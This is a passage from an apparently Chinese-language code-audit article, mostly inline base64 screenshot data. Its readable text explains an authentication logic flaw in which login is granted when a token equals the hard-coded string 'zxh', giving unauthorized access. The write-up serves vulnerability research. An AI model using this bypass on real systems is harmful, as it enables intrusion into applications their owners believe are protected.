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 truncated
|
||||
<h3 blockindex=6>0x01 逻辑缺陷</h3>
|
||||
<p blockindex=7>首先是身份认证逻辑的缺陷,对于用户身份的识别程序没有选择传统的session中判断用户是否登录,而是要求用传递一个token的值,通过判断token值是否等于某字符串来进行一个登录的校验。这个漏洞也将作为基础导致了接下来的一系列未授权漏洞的出现。</p>
|
||||
<p blockindex=8><img src="data:image/png;base64,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 truncated
|
||||
首先看到代码 <strong>base.IsAuthorityCheck() == null</strong> 判断了登录状态是否为空,这里可以跟进<strong>IsAuthorityCheck</strong>函数看看具体的判断逻辑。</p>
|
||||
<p blockindex=9><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABG0AAAHECAYAAACDRddGAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd3wc9Z34/9fM9qpdtVWv7gWMS9zoBgymhmJKIEASAkcaSS45Qi653CUh5O6XQAr5Uu5CTQgOmAQwmGADwTTjgjHutiyra1VX2/v8/ljJ2l1J1kqWLdn+PB8PHg88Mzt6T/nM7rzn83mPVFZWpjAaBcvRnVdK7NX/JerpmygjlVRD434U9KiW/xvGqhb8jz1GLNa7iHoy2pu/jtb9Cr7V6xjdHz81hEvyiJTkYvpo93iHIgiCIAiCIAiCIAjCcSaP6lO6eWgvnE18w1NJCRtAykc9b0nvSoPEdu8npq9Cc3p2/zL581DbA0QPfiwSNoIgCIIgCIIgCIIgCENQj/wjFlQXrEB16G+EIsXIjr7pGqRpl6M11RHom9SwltD+aRjm34i69Y9EPVPQnDsX2fkhwW3usdmCo2QymTCbzTidzvEOZQCV24fUON5RCIIgCIIgCIIgCIIwHkaRtDEi23JRT/sK6s8NnKvs/Yj44X90EXvtYYIX3o5u5QMY5DDxug/wv/JS/zLjzGw243A4JmjSxo/K7R/vMARBEARBEARBEARBGAfSqGvanCQcDgcOh4Pt27ePdyiCIAiCIAiCIAiCIAiHja6mjSAIgiAIgiAIgiAIgnBMiaSNIAiCIAiCIAiCIAjCBHTKD4+ayMQrvwVBEARBEARBEATh1CV62giCIAiCIAiCIAiCIExAImkjCIIgCIIgCIIgCIIwAYmkjSAIgiAIgiAIgiAIwgR0yidtTCYTDodjvMMYlMrtQ9vYMd5hCIIgCIIgCIIgCIIwDk75pI3ZbJ7ASRs/msb28Q4jI1k3FFNUMNxSagpuL8B+PAISBEEQBEEQBEEQhBPcKZ+0EcaAPZtCe4D21mGWm5NLTthD93EJShAEQRAEQRAEQRBObOpRf9K6AM2y5WjL85BVCorfSXTHm4Q2bGbQd4jbzkV3jp3I318iPuo/KkxElgstBD+sI3LEpdTkL1DT+YLvOEU1kGZmFtmVeuxlCk1/aMMzbpEcPd1CB1UX5mAzy8S9HppebaBx2yhbllaP44sllFfpURHDv7eZvc/1EAynLyhjXl5E1WIrJr2MEg7S/mYdNRtSj3xmsUmYLixm0llZGLUQ6+qm9k8ttDelXT0yjS3fQtnKQgpLtMjRMK6tTexb7SOWvglGAwU3FVFaYUCtVoh1dXPwyWY62lLXVXJ1PoUlBtRqiAcDdH3YzME3AgPXd0qRybqhCOunjTTsHmx+hsc0mdZM5fcKiK0+QP2g6zwVjGK/HUmGbeH4t9PEuqqX9l0/wvTsaOHgKg+h0W1pyrptt0ymPNTAp6sCo4htPOiwX2REixrDlCzMrU3seCEw/MeEcXLqtFP94lzKz8rFnq1CiscItvfQ/HILzprBtnW474XUdZ947VQQBGFiGF3SxnIWupUXIR1YS2DN+8SjduQFN2FYch26cCvBjY29C+ahufbbaPNkJIMBnO8Oc2MvnHDsNgqyPBzaNsxy03PI8Xeze4TdbCwrJzFrrn6IuX7qf3+QpsYhZqdR5xuwTbNhV3XTNLIwJhR5loNpV9oJf1jLx6+E0C0vZsbKKqTQgQx+NKXTkH97BZVZPex7uAaXz0TpV8uZdavEp4+7ktqrhHVlFdMrfNQ8sYeOOgXj5ys4/ZISArW1NDeOLDbdshKmn6ej85X9fLYljvXqCqbdUQy/aaS9e4SxaY2U3VZGvq+Vnf/VSSAvm+rbK5glH+TT5JsgrZGyr1dgb2lk5/1u/FEdJV+bzKQbw/h+00EAQGul+u5SzDUNiWX8EpqZ2Uy6ropZlrT1DWPwczdOtMeH850WGj8MH05g5985i+rKQVZS28iHj7pguoPTb83DmDRLCUfwN3fR+EoHXaO9ccjE2UXMO8cCGjVabYimTwdfLLNjmkzCdn0RBZb4KNqjgbJ/q6Y4faxlNEqgtZv6l9oS+2RZKYsvzOqd2UPNvQ0k8nM2pjxQQg5Adzs7fulMSuIaKP1+NYXt9Xz8hHvEkY3UyPfbEWTYFsajnepWlDNrqp9dD+3G4wLNvDymXlnGtHhfbEnHZFARWv+6l9otA+fI8wqomqkltjV9TqbXt+GMLjbL1dXM+JyGrrUH2P9ONO0zaoxlJozIGHL1SG0cJxqyry6gdI4Vo1Yi7vXhfK+J+nfCgz5Q0y3Mo+Kc3ht44kQ7XNQ+nZboRsJ0YSGVC21YzDLEYwSb26l5rAP3SXLTfcq002UlzFyo0PT3/ezfGQWbkYIvlFF1i0T0/iY6+45nht8LyY59OxUEQTh5qbKysn4y0g9JC65Hb91L8OW1xGOAEkRpOoBSdCZah0T0s929vW1CKK0HiO77jJhpGmptK5HD8yYGn8+H0+kc7zAGFS7JIzijfEIXIzauyMO4p43OliMtJZF7uZ3I2g68I+poI2E/O5/4JzXseLSFekVHaa6HnT+ppeaDHmIV2RhCnXQ3ZLa26CEvnQYDpUUx2t73cWL+llTjuK6MPJ+T3c94iKAQqfETn+agrDKGc1NgZD3Z5uQz9SwtHa/W07JXQQmG6fGpKDg7G01HJ66+IW9zCph5DjQ81kR7c28LLjBhz4/Qtc5LIDaS2EyU3lSAvqaRvWsCxGNxgjtCqJcWUpDno+WzyIhi01xYxNSpERr+2EKXC5SeAG69kbJFJqJbe/AGE8tl3VBJheRk5//1EIwAMQnddAtGn5vm7SEUQLO8kMlWF7se6cbfG0a8PUBXTEvZEgPBtz1kmrYJ7+yiWdJT4vCx92c17H+jjebNHkKFdsrPsqPu7sLV2258W9poXNdGY6tE7mlq2p/dw44/t9G4pTf4Dh/O7TGyFutxvbSHz55qo+VgCLkqn6oLbEhtLtzH6qavPYhrXw/tLQrW6VqCn3bRM+CSlOExTSLPcjDlXDMqOYZ30HUeSZSe99uJTM7H1FzH5l810rCuHeehMLrTC6mYp8K70UvwgJtmj5r86TLOZ2tpPryPgnS2StizXOx4qAN/8qrtVgrma9DYIfCul+BIwhqxke+3I8msLYxPO805vwSLu4P6jYm2Fm/x4bVbKD1dS+BtDwGCdK7zolpgR73nIJsfakq0iXUdtLVFMVRbMcW9OHemJT+0Rsq+UEiWRiLq7E6dn+n1bVijiy0aBrUphOsDL4EB330RPFvddG3twZ9vxY5n4LaNOQnrykqmzVJo+XMNu59vo82npnB5MTZVD521ad8e0x3MWmnFu+Ygu59ppeHdCOZL8rHEXbTv619Ws6yU086UaXmqlj0vOmlsVuE4OxtVVyeu5mO1LQZK78hB2Xo8vstPlXZqoOi6QpQtNdR9FEcBlGAEz4E41nPz0Ec76Kzt3YiMvheSHJd2KgiCcPIaXU0bWUbKnYm6OnliN7H2LqSsHKTD02IoXYeIO/cS6zqRB6MIg9JmUVgYwLllmDRcRS559OAc8U2lCSOdNL4R6u8yHCeR9POHaPnQjabQMNKVnthKbOSWSrhr3ElDCqK07fMglVrJHWGV55wz7Oh8HrqTj+E2N509WnJmm3snSOTOs6OudaUcw8g7TWz7RUv/k7dMY1tqI98SoXuXNynB5KOrJoSuyoptRLFpyZ9uQWpxpzz5jbzlplu2kL24tzOhNou8qSo6t3enxNb+xH62PeM+HIferAZ/dMCNerwjSkgrozry7hwgHlcgHCPSu4/iriAdzzTR3K0l7zTLwA/EQEFBGWwcVluMCDGi7sT+iNV5aX68ltomLSVXOsga5CNjwh8h0BAi8HFw6IRVhse0n4HiFTYCbzuPosaVghKHaDDa+zcVIgfd1L7Sgd9iI2dBYqn4Rj/uuBadQ0r5tOxQ49/hGjA0R55rIPZBOy6NCev0UQeXmRHvtyPJsC2MSzuFQLuPmEqV0ob8PRFIaVeJY6rEk79T4oS3d7LnkWaCeSbSr/iWK4rIdTXTMEjyPtPYMjPy2OI13Rx6sp2u49aLZhjT86mcK+N8pZ7mvXFAIbKlnQMfB8k+K58cberiltkWjHUd1G3pbWNhF/vu28muV1OTFPZJWYR2ddBa13um7Hby6b17qd10DLfFbsB8vN5qcAq1U0kC+4yc1HO5O4C3W8KQk9RzNJPvhSTHr50KgiCcnEaVtFH2byF04ABxV/JUDZJWg+Jqn1A9aYRjx7jCBts7U59SDyCRc54Rz9vukdcyskp4t3cPvf5t3XR2nkC1tEtymPGzWSz8Vm7KMJeRkKcbsRDEsz/1iWy8MYQfE+bTR7I2I+YCFUprgJSmjJ9AF2gLjSR+LlnIKlfh7z5yn4NMY7OWGlHFfXjThhK424NgMmGZPILYtCbMDvC3BFK7UIeDBLrBWtz7g2+BmWxtiGDdkfeIp95PpDSHklmpN/gYZVQtgTGqgxQg6AKVdizO3QjOj12ELXZyl6bNGoPzLVOZHdN+xqsKyW9v4cD6Y1AlaHeIACpUh+8vvHhbJGxlqUkyewl4Ng78tkpMd+Np0mGuPMII4kWFzLt/JvNutY66ov9I99sRZdgWxqWdAp7VtWx7InWogzFLg5Jpu2rrpmF7JHVMd0Uu5TMCHHrCxcA+KpnHdtQGiw3AqME8U49mrP7OUbLNt2Hs7qEj7UFL6EM3br2NnLOkIT45wRgNFN2Ujy2TcEU7JfO2EKRzawftdcG09qRCpVXwt42y5tJEaaeCIAgnsNHVtGldR/iVtGmaSahLzET3bBKFhk8FWjMOh5+Wvw2Tosu3k4OLA4dG8TfcHtrfP9ICIdrf7n8GJRdbKfl8AQVFWlRynJDTRdOQxfN6w0uuJdJXP6SXbqGDqmXZZFlVEA7SvamFA6/0FQo0UfwVO2arGv/r9binl1I914JOHSfU2MaBYzSW32TXAiFC+9Nm1IQJImHLine truncated
|
||||
<p blockindex=10>因为条件<strong>base.IsAuthorityCheck() == null</strong> 判断了是否为空,那么我们只需要让<strong>IsAuthorityCheck</strong>返回一个非空的值就可以了。根据逻辑往下走,发现<code>byValue == “zxh”</code> 的时候会返回一个UserInfo对象,那么也就是返回一个非空值。</p>
|
||||
<p blockindex=11>回看到第25行,跟进<code>getByValue</code>函数</p>
|
||||
<p blockindex=12><img src="data:image/png;base64,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